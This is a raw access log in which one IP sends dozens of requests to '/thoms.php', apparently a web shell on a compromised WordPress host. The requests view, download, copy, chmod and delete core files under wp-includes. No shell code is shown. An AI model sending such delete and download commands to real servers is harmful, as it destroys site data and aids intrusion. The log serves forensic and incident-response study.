45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14247 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?chmod=SimplePie&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fatomlib.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fatomlib.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?del=ID3&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=ID3&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15896 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?del=class-requests.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /booking-wise2.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:56 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /booking-wise2.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12242 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /booking-wise2.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?del=atomlib.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /booking-wise2.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59418 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /booking-wise2.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?del=ms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13347 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:57 -0400] "GET /thoms.php?del=css&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?del=css&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwp-diff.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwp-diff.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /booking-wise2.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /booking-wise2.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?del=class-phpass.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:58 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?chmod=load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /booking-wise2.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?del=ms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?del=feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?del=feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:59 -0400] "GET /thoms.php?dl=l10n.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59379 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fnav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fnav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12106 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /booking-wise2.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 12399 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?chmod=general-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /booking-wise2.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?del=class-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:00 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /booking-wise2.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12928 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18032 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcomment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcomment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14570 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15165 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18258 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14044 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13991 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:01 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?dl=taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15295 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?chmod=rest-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
